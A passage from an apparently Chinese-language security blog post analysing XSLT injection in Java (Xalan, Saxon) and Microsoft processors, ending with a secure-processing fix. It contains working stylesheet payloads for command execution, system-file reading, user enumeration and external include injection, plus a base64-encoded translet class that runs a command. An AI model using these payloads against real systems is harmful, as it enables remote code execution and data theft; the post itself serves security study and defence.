String bytescodes = "yv66vgADAC0AwAEAClNvdXJjZUZpbGUBAAABABtkaWUvdmVyd2FuZGx1bmcvR3JlZ29yU2Ftc2EHAAMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAFAQAEX2RvbQEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEAP2NvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcgcACQEADHN0YXJ0RWxlbWVudAEAFShMamF2YS9sYW5nL1N0cmluZzspVgwACwAMCwAKAA0BAAplbmRFbGVtZW50DAAPAAwLAAoAEAEADGFkZEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCwAKABQBABJhZGRVbmlxdWVBdHRyaWJ1dGUBACgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7SSlWDAAWABcLAAoAGAEAGm5hbWVzcGFjZUFmdGVyU3RhcnRFbGVtZW50DAAaABMLAAoAGwEADXN0YXJ0RG9jdW1lbnQBAAMoKVYMAB0AHgsACgAfAQALZW5kRG9jdW1lbnQMACEAHgsACgAiAQAzY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yBwAkAQAMc2V0U3RhcnROb2RlAQA4KEkpTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsMACYAJwsAJQAoAQAFcmVzZXQBADcoKUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7DAAqACsLACUALAEABG5leHQBAAMoKUkMAC4ALwsAJQAwAQAQcmVzZXRQcmVmaXhJbmRleAwAMgAeAQA8Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQmFzaXNMaWJyYXJ5BwA0CgA1ADMBAA5hcHBseVRlbXBsYXRlcwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYMADcAOAoABAA5DAAHAAgJAAQAOwEADm1ha2VET01BZGFwdGVyAQBnKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOylMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL2RvbS9ET01BZGFwdGVyOwwAPQA+CgAGAD8BACtjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NBwBBAQALZ2V0SXRlcmF0b3IMAEMAKwsAQgBEAQAWdHJhbnNmZXJPdXRwdXRTZXR0aW5ncwEARChMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABGAEcKAAYASAEACWJ1aWxkS2V5cwEApyhMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7SSlWAQAEQ29kZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgcATQEACkV4Y2VwdGlvbnMMAEoASwoABABQAQAJc2V0RmlsdGVyAQA4KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvU3RyaXBGaWx0ZXI7KVYMAFIAUwsAQgBUAQAIdG9wTGV2ZWwMAFYAOAoABABXAQAJdHJhbnNmb3JtAQALZ2V0Q2hpbGRyZW4MAFoAJwsAQgBbAQAKY2hhcmFjdGVycwEARShJTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgwAXQBeCwBCAF8BAAlnZXRNb2R1bGUBABQoKUxqYXZhL2xhbmcvTW9kdWxlOwwAYQBiAQAPamF2YS9sYW5nL0NsYXNzBwBkCgBlAGMBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAZwBoCgBlAGkBABtkaWUudmVyd2FuZGx1bmcuR3JlZ29yU2Ftc2EIAGsBABFqYXZhLmxhbmcuUnVudGltZQgAbQEACGFkZFJlYWRzAQAmKExqYXZhL2xhbmcvTW9kdWxlOylMamF2YS9sYW5nL01vZHVsZTsMAG8AcAEAEGphdmEvbGFuZy9Nb2R1bGUHAHIKAHMAcQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAHUAdgEAEWphdmEvbGFuZy9SdW50aW1lBwB4CgB5AHcBAARjYWxjCAB7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAfQB+CgB5AH8BABBqYXZhLmxhbmcuT2JqZWN0CACBAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAgwCEAQAQamF2YS9sYW5nL09iamVjdAcAhgoAhwCFCAACAQALc2V0RXNjYXBpbmcBAAQoWilaDACKAIsLAAoAjAEAVihMamF2YS9sYW5nL1N0cmluZztMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABdAI4KAAYAjwEADnRlbXBsYXRlJGRvdCQwDACRAEsKAAQAkgEAEWdldEV4cGFuZGVkVHlwZUlEAQAEKEkpSQwAlACVCwBCAJYBAAxfc05hbWVzQXJyYXkBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALX3NVcmlzQXJyYXkBAAxfc1R5cGVzQXJyYXkBAAJbSQEAEF9zTmFtZXNwYWNlQXJyYXkBABBqYXZhL2xhbmcvU3RyaW5nBwCeDACYAJkJAAQAoAwAmgCZCQAEAKIMAJsAnAkABACkDACdAJkJAAQApgEAC3RvQ2hhckFycmF5AQAEKClbQwwAqACpCgCfAKoBAAg8Y2xpbml0PgEABjxpbml0PgwArQAeCgAGAK4BAApuYW1lc0FycmF5DACwAJkJAAYAsQEACXVyaXNBcnJheQwAswCZCQAGALQBAAp0eXBlc0FycmF5DAC2AJwJAAYAtwEADm5hbWVzcGFjZUFycmF5DAC5AJkJAAYAugEAD3RyYW5zbGV0VmVyc2lvbgEAAUkMALwAvQkABgC+ACEABAAGAAAABQABAAcACAAAAAwAmACZAAAADACaAJkAAAAMAJsAnAAAAAwAnQCZAAAABwABAEoASwACAEwAAAANAAAABQAAAAGxAAAAAABPAAAABAABAE4AAQBWADgAAgBMAAAAGgABAAUAAAAOK7kARQEAuQAxAQA2BLEAAAAAAE8AAAAEAAEATgABAFkAOAACAEwAAABLAAQABQAAAD+4ADYqKiu2AEC1ADwruQBFAQC5ADEBADYEKi22AEkqKrQAPCwttgBYLbkAIAEAKiq0ADwsLbYAOi25ACMBALEAAAAAAE8AAAAEAAEATgABAJEASwABAEwAAABsAAMACAAAAGASbLgAarYAZhJuuABqtgBmtgB0V7gAejoFEmy4AGq2AGYSbrgAarYAZrYAdFcZBRJ8tgCAOgYSbLgAarYAZhKCuABqtgBmtgB0VxkGtgCIWccABlcSiToHKhkHLbYAkLEAAAAAABEANwA4AAIATAAAAKEABQAFAAAAlcgAAACDKxUEuQCXAgCqAAAAAAB2AAAAAAAAAA0AAABHAAAAVQAAAGgAAABoAAAAdgAAAHYAAAB2AAAAdgAAAHYAAABHAAAAdgAAAHYAAAB2AAAAdiorLC0VBLYAk8gAAAAmKisrFQS5AFwCAC22ADrIAAAAEysVBC25AGADAMgAAAAFLLkAMQEAWTYEmwAIyP///3axAAAAAABPAAAABAABAE4ACQCsAB4AAQBMAAAAKAABAAUAAAAcA70An7MAoQO9AJ+zAKMDvAqzAKUDvQCfswCnsQAAAAAAAQCtAB4AAQBMAAAAMwACAAUAAAAnKrcAryqyAKG1ALIqsgCjtQC1KrIApbUAuCqyAKe1ALsqEGW1AL+xAAAAAAABAAEAAAACAAI=";
byte[] bytes = Base64.getDecoder().decode(bytescodes);
try (FileOutputStream fos = new FileOutputStream("poc.class")) {
fos.write(bytes);
} catch (IOException e) {
e.printStackTrace();
}
}
}

最终得到一个GregorSamsa类,这个是默认类名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package die.verwandlung;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.runtime.BasisLibrary;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class GregorSamsa extends AbstractTranslet {
public DOM _dom;
protected static String[] _sNamesArray = new String[0];
protected static String[] _sUrisArray = new String[0];
protected static int[] _sTypesArray = new int[0];
protected static String[] _sNamespaceArray = new String[0];

public void buildKeys(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) throws TransletException {
}

public void topLevel(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
int var4 = var1.getIterator().next();
}

public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
BasisLibrary.resetPrefixIndex();
this._dom = this.makeDOMAdapter(var1);
int var4 = var1.getIterator().next();
this.transferOutputSettings(var3);
this.topLevel(this._dom, var2, var3);
var3.startDocument();
this.applyTemplates(this._dom, var2, var3);
var3.endDocument();
}

public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
Class.forName("die.verwandlung.GregorSamsa").getModule().addReads(Class.forName("java.lang.Runtime").getModule());
Runtime var5 = Runtime.getRuntime();
Class.forName("die.verwandlung.GregorSamsa").getModule().addReads(Class.forName("java.lang.Runtime").getModule());
Process var6 = var5.exec("calc");
Class.forName("die.verwandlung.GregorSamsa").getModule().addReads(Class.forName("java.lang.Object").getModule());
String var10000 = var6.toString();
if (var10000 == null) {
var10000 = "";
}

String var7 = var10000;
this.characters(var7, var3);
}

public final void applyTemplates(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
int var4;
while((var4 = var2.next()) >= 0) {
switch (var1.getExpandedTypeID(var4)) {
case 0:
case 9:
this.template$dot$0(var1, var2, var3, var4);
break;
case 1:
this.applyTemplates(var1, var1.getChildren(var4), var3);
break;
case 2:
case 3:
var1.characters(var4, var3);
case 4:
case 5:
case 6:
case 7:
case 8:
case 10:
case 11:
case 12:
case 13:
}
}

}

public GregorSamsa() {
super.namesArray = _sNamesArray;
super.urisArray = _sUrisArray;
super.typesArray = _sTypesArray;
super.namespaceArray = _sNamespaceArray;
super.transletVersion = 101;
}
}

1
2
3
4
5
6
7
8
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>

可以看到这里就直接是命令执行的payload,方法名为template$dot$0说明是第一个template编译出来的代码,至于为什么通过xmlns:rt=”http://xml.apache.org/xalan/java/java.lang.Runtime"这个不存在的命名空间就能够获取java.lang.Runtime对象我也不知道,这个估计得深入的分析,但是调试到这就差不多了,后面就是调用这个字节码的transform进行转换的流程

Microsoft

嵌入脚本区块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>

第一个“xmlns:msxsl”用来启用Microsoft的专有扩展格式

第二个“xmlns:user”声明了“msxsl:script”脚本块实现的自定义用户扩展接口。

import和incldue绕过部分可控

当传入的xsl文件内容是部分可控的时候就需要使用import或者include来引入外部xsl源文件来使用以上方法进行攻击,这里要注意两个点

  • 当“xsl:include”在其他地方使用时,“xsl:import”标签只能作为“xsl:stylesheet”标签的第一个子标签。
  • “xsl:include” 不能被“xsl:template”包含并且转换后的文件必须是格式良好的XML文档

针对以上问题我们就需要使用以下poc,先对template标签进行闭合再进行include,import不行是因为import必须写在stylesheet 下第一个子节点

1
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">

这里的引入的href不仅可以是本地文件也可以使远程文件,所以这里也可以像xxe和document函数一样进行端口探测

Saxon

EXP

文件读取

1
2
3
4
5
6
7
8
9
10
11
12
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

查看当前目录

1
2
3
4
5
6
7
8
9
10
11
12
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

查看当前用户和域:

1
2
3
4
5
6
7
8
9
10
11
12
13
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

使用java命名空间进行RCE

1
2
3
4
5
6
7
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>

修复

1
transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

在创建transformerFactory工厂类的时候指定XMLConstants.FEATURE_SECURE_PROCESSING参数为true,这个本来是用来防御XXE的,在这里也可以用来防御XSLT

https://github.com/LeadroyaL/java-xxe-defense-demo

可以通过该链接查看该feature禁用了哪些组件,这里可以防御拓展函数

防御的具体原理没去跟,有兴趣可以自己去跟一下,这里给一篇分析文章

https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/

参考链接

https://xz.aliyun.com/t/33

https://xz.aliyun.com/t/13154

https://xz.aliyun.com/t/6141

https://juejin.cn/post/7094597003329568781

https://mp.weixin.qq.com/s/-HsIumMtqnN50DORFwFmiw

https://github.com/LeadroyaL/java-xxe-defense-demo

https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/

Prev
2024-09-13 09:14:17 # javasec
Next